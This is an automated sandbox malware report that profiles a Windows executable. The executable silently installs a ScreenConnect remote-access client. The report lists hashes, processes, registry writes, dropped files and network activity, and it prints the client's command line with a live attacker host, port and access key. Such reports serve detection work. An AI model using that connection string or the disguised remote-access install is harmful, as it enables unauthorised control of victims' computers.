| File name: | 2025-06-21_8b79faec20ce137d041531bd185a257e_amadey_black-basta_elex_hellokitty_hijackloader_luca-stealer_smoke-loader |
| Full analysis: | https://app.any.run/tasks/881e75d3-687c-4033-96ef-d569ed842e22 |
| Verdict: | Malicious activity |
| Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
| Analysis date: | June 21, 2025, 22:50:46 |
| OS: | Windows 10 Professional (build: 19044, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections |
| MD5: | 8B79FAEC20CE137D041531BD185A257E |
| SHA1: | D558F9D66ABF87DF61816461C68CE174D3EF518C |
| SHA256: | 5E6CAE1FEB2B6AD2F4947B02BBE195840EC3A088E499FAA968AF7BBEFE2DD037 |
| SSDEEP: | 98304:jskBi2Tt2xyWR+OytH9awXB0DXe3S+5OmxlGwP3AW5JTGG0DR/WeF3K5z/xlLSbI:vDA |
| .exe | | | Win64 Executable (generic) (76.4) |
|---|---|---|
| .exe | | | Win32 Executable (generic) (12.4) |
| .exe | | | Generic Win/DOS Executable (5.5) |
| .exe | | | DOS Executable Generic (5.5) |
| MachineType: | Intel 386 or later, and compatibles |
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| TimeStamp: | 2022:11:18 20:10:20+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 14.33 |
| CodeSize: | 45568 |
| InitializedDataSize: | 5483520 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x14ad |
| OSVersion: | 5.1 |
| ImageVersion: | - |
| SubsystemVersion: | 5.1 |
| Subsystem: | Windows GUI |
PID | CMD | Path | Indicators | Parent process | |||||||||||
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| 768 | rundll32.exe "C:\Users\admin\AppData\Local\Temp\MSI7148.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_1536421 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments | C:\Windows\SysWOW64\rundll32.exe | msiexec.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows host process (Rundll32) Exit code: 0 Version: 10.0.19041.3636 (WinBuild.160101.0800) Modules
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| 1128 | "C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=45.8.125.187&p=8041&s=86ce485e-228d-4631-9da3-06222f5c75be&k=BgIAAACkAABSU0ExAAgAAAEAAQCd2g8uWxRPQbkh9s%2bsS0xP2nYUfBt4LPdh6tRukHOu6IyOKL8fxn49SXW6Y5cRL3z2AM9XzsTmwoa90JsFk8IZnLAGAzA3Vvno0TPUpp39pyf1COrPwiSC2tnTcV0FWII1xU%2fFk8JJDTZhrBNOCTmSGv2%2bl4RciLj85jkzeEEYpeh1ipk%2fvoPeizPRnezSe1p40rXKp%2b4zPQcTLZtx33%2f%2fuovZSG5zoC%2fbWNDtxWyzIczAnvbfx8M0hL5c4M7%2bE4cl8VHN5sXNFm%2f9Z%2bAqgmpg%2bSv%2fwdBe1tPYIbF8WtTptYsbYkNd5DCaD4FrqiKIhwqGXeMC6YA3ougPgl74qfaW&t=Vertex&c=CloudLinux&c=cPbD3J-mineevening-19-Jun-2025&c=Android%20TV&c=Vertex%20Ventures&c=&c=&c=&c=" | C:\Program Files (x86)\ScreenConnect Client (5b4d3b0913e89c0a)\ScreenConnect.ClientService.exe | services.exe | ||||||||||||
User: SYSTEM Integrity Level: SYSTEM Version: 24.3.7.9067 Modules
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| 1332 | C:\Windows\syswow64\MsiExec.exe -Embedding 036E6E0F532268FC7C5E2DE587489237 | C:\Windows\SysWOW64\msiexec.exe | — | msiexec.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows® installer Exit code: 0 Version: 5.0.19041.3636 (WinBuild.160101.0800) Modules
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| 1336 | C:\WINDOWS\system32\vssvc.exe | C:\Windows\System32\VSSVC.exe | — | services.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Volume Shadow Copy Service Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 2032 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | SrTasks.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 3028 | "C:\Users\admin\Desktop\2025-06-21_8b79faec20ce137d041531bd185a257e_amadey_black-basta_elex_hellokitty_hijackloader_luca-stealer_smoke-loader.exe" | C:\Users\admin\Desktop\2025-06-21_8b79faec20ce137d041531bd185a257e_amadey_black-basta_elex_hellokitty_hijackloader_luca-stealer_smoke-loader.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
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| 4088 | "C:\Users\admin\Desktop\2025-06-21_8b79faec20ce137d041531bd185a257e_amadey_black-basta_elex_hellokitty_hijackloader_luca-stealer_smoke-loader.exe" | C:\Users\admin\Desktop\2025-06-21_8b79faec20ce137d041531bd185a257e_amadey_black-basta_elex_hellokitty_hijackloader_luca-stealer_smoke-loader.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
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| 4512 | C:\Windows\syswow64\MsiExec.exe -Embedding E0A799B80BA34C3C0AB1CB9E81BB0419 C | C:\Windows\SysWOW64\msiexec.exe | — | msiexec.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows® installer Exit code: 0 Version: 5.0.19041.3636 (WinBuild.160101.0800) Modules
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| 4664 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4764 | C:\WINDOWS\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:11 | C:\Windows\System32\SrTasks.exe | — | msiexec.exe | |||||||||||
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: Microsoft® Windows System Protection background tasks. Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| (PID) Process: | (5708) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SystemRestore |
| Operation: | write | Name: | SrCreateRp (Enter) |
Value: 48000000000000009C10D5F3FEE2DB014C16000064050000D50700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (5708) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGetSnapshots (Enter) |
Value: 48000000000000009C10D5F3FEE2DB014C16000064050000D20700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (5708) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGetSnapshots (Leave) |
Value: 4800000000000000B729FBF3FEE2DB014C16000064050000D20700000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (5708) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppEnumGroups (Enter) |
Value: 4800000000000000B729FBF3FEE2DB014C16000064050000D10700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (5708) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppEnumGroups (Leave) |
Value: 480000000000000034F1FFF3FEE2DB014C16000064050000D10700000100000000000000010000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (5708) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppCreate (Enter) |
Value: 48000000000000007D5402F4FEE2DB014C16000064050000D00700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (5708) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SPP |
| Operation: | write | Name: | LastIndex |
Value: 11 | |||
| (PID) Process: | (5708) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SPP |
| Operation: | write | Name: | SppGatherWriterMetadata (Enter) |
Value: 4800000000000000E3E6EFF5FEE2DB014C16000064050000D30700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
| (PID) Process: | (5708) msiexec.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\VssapiPublisher |
| Operation: | write | Name: | IDENTIFY (Enter) |
Value: 4800000000000000DF37F2F5FEE2DB014C160000440F0000E80300000100000000000000000000001772DE755165F9419F0CCB9E2599D1D100000000000000000000000000000000 | |||
| (PID) Process: | (1336) VSSVC.exe | Key: | HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer |
| Operation: | write | Name: | IDENTIFY (Enter) |
Value: 48000000000000005EFEF6F5FEE2DB0138050000E8090000E80300000100000001000000000000000000000000000000000000000000000000000000000000000000000000000000 | |||
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 4088 | 2025-06-21_8b79faec20ce137d041531bd185a257e_amadey_black-basta_elex_hellokitty_hijackloader_luca-stealer_smoke-loader.exe | C:\Users\admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\5b4d3b0913e89c0a\ScreenConnect.ClientSetup.msi | — | |
MD5:— | SHA256:— | |||
| 5708 | msiexec.exe | C:\System Volume Information\SPP\metadata-2 | — | |
MD5:— | SHA256:— | |||
| 5708 | msiexec.exe | C:\Windows\Installer\17acda.msi | — | |
MD5:— | SHA256:— | |||
| 5240 | msiexec.exe | C:\Users\admin\AppData\Local\Temp\MSI7148.tmp | executable | |
MD5:8A8767F589EA2F2C7496B63D8CCC2552 | SHA256:0918D8AB2237368A5CEC8CE99261FB07A1A1BEEDA20464C0F91AF0FE3349636B | |||
| 768 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSI7148.tmp-\ScreenConnect.Core.dll | executable | |
MD5:14E7489FFEBBB5A2EA500F796D881AD9 | SHA256:A2E9752DE49D18E885CBD61B29905983D44B4BC0379A244BFABDAA3188C01F0A | |||
| 768 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSI7148.tmp-\ScreenConnect.Windows.dll | executable | |
MD5:9AD3964BA3AD24C42C567E47F88C82B2 | SHA256:84A09ED81AFC5FF9A17F81763C044C82A2D9E26F852DE528112153EE9AB041D0 | |||
| 768 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSI7148.tmp-\Microsoft.Deployment.WindowsInstaller.Package.dll | executable | |
MD5:A921A2B83B98F02D003D9139FA6BA3D8 | SHA256:548C551F6EBC5D829158A1E9AD1948D301D7C921906C3D8D6B6D69925FC624A1 | |||
| 5708 | msiexec.exe | C:\System Volume Information\SPP\OnlineMetadataCache\{75de7217-6551-41f9-9f0c-cb9e2599d1d1}_OnDiskSnapshotProp | binary | |
MD5:2E05C7B803336AA5DE98DAD8BCB9E4F3 | SHA256:E9D51483510CA71BA73C6898468302B32129FE17A2FC56BFE9C9BD502A1113E9 | |||
| 768 | rundll32.exe | C:\Users\admin\AppData\Local\Temp\MSI7148.tmp-\CustomAction.config | xml | |
MD5:6F52EBEA639FD7CEFCA18D9E5272463E | SHA256:7027B69AB6EBC9F3F7D2F6C800793FDE2A057B76010D8CFD831CF440371B2B23 | |||
| 5708 | msiexec.exe | C:\Windows\Installer\MSIAE60.tmp | binary | |
MD5:36FEC2AF08D62DB13ECC5BF7189237BC | SHA256:EBA187B01E0E4674B61E9186B8BB1FB3CA4FB0EEB051AC7432F0EAE7F617E299 | |||
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
4680 | RUXIMICS.exe | GET | 200 | 184.24.77.38:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 184.24.77.38:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 184.24.77.38:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4680 | RUXIMICS.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
1268 | svchost.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
5944 | MoUsoCoreWorker.exe | GET | 200 | 23.35.229.160:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
— | — | POST | 200 | 20.190.159.128:443 | https://login.live.com/RST2.srf | unknown | xml | 1.24 Kb | whitelisted |
— | — | POST | 200 | 20.190.159.128:443 | https://login.live.com/ppsecure/deviceaddcredential.srf | unknown | text | 16.7 Kb | whitelisted |
— | — | POST | 403 | 23.35.229.160:443 | https://go.microsoft.com/fwlink/?LinkID=2257403&clcid=0x409 | unknown | html | 386 b | whitelisted |
— | — | POST | 403 | 23.35.229.160:443 | https://go.microsoft.com/fwlink/?LinkID=2257403&clcid=0x409 | unknown | html | 386 b | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
1268 | svchost.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
5944 | MoUsoCoreWorker.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4680 | RUXIMICS.exe | 40.127.240.158:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
4680 | RUXIMICS.exe | 184.24.77.38:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
1268 | svchost.exe | 184.24.77.38:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
5944 | MoUsoCoreWorker.exe | 184.24.77.38:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4680 | RUXIMICS.exe | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
1268 | svchost.exe | 23.35.229.160:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
login.live.com |
| whitelisted |
nexusrules.officeapps.live.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
slscr.update.microsoft.com |
| whitelisted |
fe3cr.delivery.mp.microsoft.com |
| whitelisted |